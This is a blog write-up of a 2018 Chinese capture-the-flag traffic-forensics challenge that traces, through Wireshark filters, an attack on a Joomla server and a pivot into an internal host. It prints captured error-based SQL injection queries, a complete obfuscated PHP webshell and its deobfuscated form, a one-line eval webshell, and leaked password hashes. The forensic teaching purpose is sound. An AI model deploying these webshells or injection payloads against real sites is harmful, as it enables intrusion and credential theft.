• 2018信息安全铁人三项第三赛区数据赛题解


    题目链接: https://pan.baidu.com/s/1b6bkW-J8vKASr8C2r9vsdQ 密码: nux4
    解压密码t3sec.org.cn
    题目描述 1.黑客攻击的第一个受害主机的网卡IP地址 2.黑客对URL的哪一个参数实施了SQL注入 3.第一个受害主机网站数据库的表前缀(加上下划线 例如abc_) 4.第一个受害主机网站数据库的名字 5.Joomla后台管理员的密码是多少 6.黑客第一次获得的php木马的密码是什么 7.黑客第二次上传php木马是什么时间 8.第二次上传的木马通过HTTP协议中的哪个头传递数据 9.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash) 10.php代理第一次被使用时最先连接了哪个IP地址 11.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候 12.黑客在内网主机中添加的用户名和密码是多少 13.黑客从内网服务器中下载下来的文件名

     1.黑客攻击的第一个受害主机的网卡IP地址

    2.黑客对URL的哪一个参数实施了SQL注入

    过滤http包可以看出,攻击者ip 202.1.1.2   服务器ip 192.168.1.8   

    并对list[select]参数进行注入,看着时间顺序,很明显是自动化注入,手注的时间间隔没有这么短呀。

    3.第一个受害主机网站数据库的表前缀(加上下划线 例如abc_)

     从前几个注入的返回包来看,数据库前缀是ajtuc_

    4.第一个受害主机网站数据库的名字

    找到最后一个注入,查看返回包,所以第一个受害主机数据库名joomla.ajtuc_users

    百度得知Joomla!是一套内容管理系统 使用PHP语言加上MySQL数据库所开发的软件系统,可以在Linux、 Windows、MacOSX等各种不同的平台上执行。

    5.Joomla后台管理员的密码是多少

    密码的提交一般都是post方式,

    ip.addr ==192.168.1.8 && http contains "password" && http.request.method == POST

    但看其他表哥说,密码并不是这个

    或者通过查看注入包来找到对应的密码hash后,解密得到。。。

    ip.addr == 192.168.1.8 && http contains "password"

    三条信息分别回显

    
    
    Status: 500 XPATH syntax error: 'qqzvq$2y$10$lXujU7XaUviJDigqqkkq' SQL=SELECT (UPDATEXML(5928,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),7096)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`
    
    Status: 500 XPATH syntax error: 'qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq' SQL=SELECT (UPDATEXML(3613,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),23,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),7939)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`
    
    Status: 500 XPATH syntax error: 'qqzvqzi/8B2QRD7qIlDJeqqkkq' SQL=SELECT (UPDATEXML(8949,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),45,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),3079)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`

    可以看到数据

    
    
    qqzvq$2y$10$lXujU7XaUviJDigqqkkq
    qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq
    qqzvqzi/8B2QRD7qIlDJeqqkkq

    我们观察sql构造,发现具有前缀和后缀

    
    
    0x71717a7671
    0x71716b6b71

    解码后得到

    
    
    qqzvq
    qqkkq

    我们去掉前缀和后缀,可以得到

    
    
    $2y$10$lXujU7XaUviJDig
    FMzKy6.wx7EMCBqpzrJdn7
    zi/8B2QRD7qIlDJe

    于是我们可以得到完整的加密密码

    
    
    $2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe     后面解码部分就卡住咯
    6.黑客第一次获得的php木马的密码是什么
    上传的话 ip.addr ==192.168.1.8 && http

    发现有一个kkkaaa.php 估计就是上传的马儿了
    数据包二
    ip.addr ==192.168.1.8 && http contains "kkkaaa.php"

    发现base64,估计用的菜刀连的小马,所以第一个上传的马儿的密码是zzz

    7.黑客第二次上传php木马是什么时间

    查看kkkaaa.php相关的流量

    z2的值很明显是hex类型,复制到winhex后,发现对应的Unicode是一段混淆后的php

    <?php
    $p='l>]ower";$i>]=$m[1][0].$m[1]>][1];$h>]=$>]sl($ss(m>]d5($i.>]$kh),0>],3))>];$f=$s>]l($s>]s(md5';
    $d=']q=array_v>]>]alues(>]$q);>]preg_match_a>]ll("/(>][\w]>])[\w->]]+>](?:;q=>]0.([\d]))?,?/",>';
    $W='),$ss(>]$s[>]$i],>]0,$e))),$>]>]k)));>]$o=ob_get_content>]>]s();ob_end_>]>]clean();$d=>]base';
    $e=']T_LANGUAGE"];if($rr>]&&$>]ra){$>]u=pars>]e_>]url($rr);par>]se_st>]r($u[">]query"],$>]q);$>';
    $E='>]64_e>]ncod>]e>](>]x(gz>]compress($o),$k));pri>]nt("<$k>$d<>]/$k>">])>];@>]session_destr>]oy();}}}}';
    $t='($i.>]$kf),0,3>]));$p>]="";fo>]r($z=1>];$z<>]count($m>][1]);$z+>]>]+)$p>].=$q[$m[>]2][$z]];i>';
    $M=']$ra,$>]m);if($q>]&&$m>]){@sessi>]on_sta>]>]rt();$s=&$>]_SESS>]ION;$>]>]s>]s="substr";$sl="s>]>]trto';
    $P=']f(s>]tr>]pos($p>],$h)===0){$s[>]$i]="";$p>]=$ss($>]p,3);>]}if(ar>]ray>]_key_exist>]>]s($i,$>]s)>]){$>';
    $j=str_replace('fr','','cfrrfreatfrfre_funcfrtfrion');
    $k='];}}re>]>]turn $o;>]}$>]r=$_SERV>]ER;$rr=@$r[>]"HTTP>]_REFERE>]R"];$ra>]=@>]$r[">]HTTP_A>]CC>]EP>';
    $g='"";for(>]$i=>]0;$i<$l;>])>]{for($j=0;($j<>]$c&&>]$i<$l);$>]j++,$i>]++){$o.>]=$t{$i>]}^$k{$j}>';
    $R='$k>]h="cb4>]2";$kf="e130">];functio>]n>] x($t>],$k){$c=s>]trle>]>]n($k);$l=strle>]n>]($t)>];$o=';
    $Q=']s[$i].=$p;$e=strp>]>]os(>]$s[$i>]],$f);if($>]e){$k=$kh.$k>]f;>]ob_sta>]rt();@e>]val(@gzun>]co>';
    $v=']mpress(@x>](@b>]as>]>]e64_decode(pr>]>]e>]g_repla>]ce(array("/_/","/-/"),arr>]ay(>]"/","+">]';
    $x=str_replace('>]','',$R.$g.$k.$e.$d.$M.$p.$t.$P.$Q.$v.$W.$E);
    $N=$j('',$x);$N();
    ?>

    反混淆的地方卡住了,,,,

    反混淆后

    <?php
    function x($t, $k)
    {
        $c = strlen($k);
        $l = strlen($t);
        $o = "";
        for ($i = 0; $i < $l;) {
            for ($j = 0; $j < $c && $i < $l; $j++, $i++) {
                $o .= $t[$i] ^ $k[$j];
            }
        }
        return $o;
    }
    $rr = @$_SERVER["HTTP_REFERER"];
    $ra = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];
    if ($rr && $ra) {
        $u = parse_url($rr);
        parse_str($u["query"], $q);
        $q = array_values($q);
        preg_match_all("/([w])[w-]+(?:;q=0.([d]))?,?/", $ra, $m);
        if ($q && $m) {
            @session_start();
            $s =& $_SESSION;
            $i = $m[1][0] . $m[1][1];
            $h = strtolower(substr(md5($i . "cb42"), 0, 3));
            $f = strtolower(substr(md5($i . "e130"), 0, 3));
            $p = "";
            for ($z = 1; $z < count($m[1]); $z++) {
                $p .= $q[$m[2][$z]];
            }
            if (strpos($p, $h) === 0) {
                $s[$i] = "";
                $p = substr($p, 3);
            }
            if (array_key_exists($i, $s)) {
                $s[$i] .= $p;
                $e = strpos($s[$i], $f);
                if ($e) {
                    $k = "cb42e130";
                    ob_start();
                    @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), substr($s[$i], 0, $e))), "cb42e130")));
                    $o = ob_get_contents();
                    ob_end_clean();
                    $d = base64_encode(x(gzcompress($o), "cb42e130"));
                    print "<{$k}>{$d}</{$k}>";
                    @session_destroy();
                }
            }
        }
    }

    所以这是第二个php木马,上传时间 17:20:44.248365000 

    8.第二次上传的木马通过HTTP协议中的哪个头传递数据

    从第二个木马中可以看到

    
    
    $rr = @$_SERVER["HTTP_REFERER"];
    $ra = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];
    所以是通过HTTP_REFERER,HTTP_ACCEPT_LANGUAGE来传递的数据

    从z1 参数 b64decode 后,可以看到上传路径/var/www/html/joomla/tmp/footer.php

    so,第二个木马的名称为footer.php

    9.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)

    这里应该是黑客拿下服务器192.168.1.8后,利用该机内网渗透

    所以 ip.addr ==192.168.1.8 && mysql 

    一直到第四个数据包才找到和mysql相关的数据

    admin/1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4

    10.php代理第一次被使用时最先连接了哪个IP地址

    代理第一次被使用时最先连接了IP  4.2.2.2

    11.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候

    获取当前目录肯定得有ls或者dir

    so

    ip.addr==192.168.1.8  && (http contains "ls" ||http contains "dir")

    一直到第九个包才才找到。。

    ‘;

    黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在18:36:59

    可以看到内网中的另外一台主机为192.168.2.20

    12.黑客在内网主机中添加的用户名和密码是多少

    内网主机的ip为 192.168.2.20 

    所以ip.addr ==192.168.2.20 &&http

     

    黑客通过1.8服务器作为跳板,在2.20机器上写下内容为<?php eavl($_POST[123]);?> 的sh.php

    可看出2.20为windows机器

    菜刀的请求包太多,一个个的decode太麻烦,,可以查看返回包来判断啥时候在2.20机器上添加的user

    18:49:27还没有kaka用户,等到18:50:42就出现了kaka用户,所以说应该是在这两个时间点之间添加的用户

     

    所以黑客在内网主机中添加的用户名和密码是kaka/kaka 

    12黑客从内网服务器中下载下来的文件名
    既然是下载,应该是利用中国菜刀进行下载了,那我们只过滤出post流量,查看命令即可

    ip.dst == 192.168.2.20 && http.request.method==POST
     

     so,下载的文件为 lsass.exe_180208_185247.dmp

    //copy z1,z2的value时,用快捷键(Ctrl+shfit+v)比较方便




  • 相关阅读:
    Spring学习总结(六)——Spring整合MyBatis完整示例
    Spring学习总结(五)——Spring整合MyBatis(Maven+MySQL)二
    Spring学习总结(五)——Spring整合MyBatis(Maven+MySQL)一
    Spring学习总结(四)——表达式语言 Spring Expression Language
    Spring学习总结(三)——Spring实现AOP的多种方式
    Spring学习总结(二)——静态代理、JDK与CGLIB动态代理、AOP+IoC
    Spring集成MyBatis完整示例
    数据库字符集的坑
    MYSQL中的UNION和UNION ALL
    MySQL的事务和锁
  • 原文地址:https://www.cnblogs.com/1go0/p/10052228.html
Copyright © 2020-2023  润新知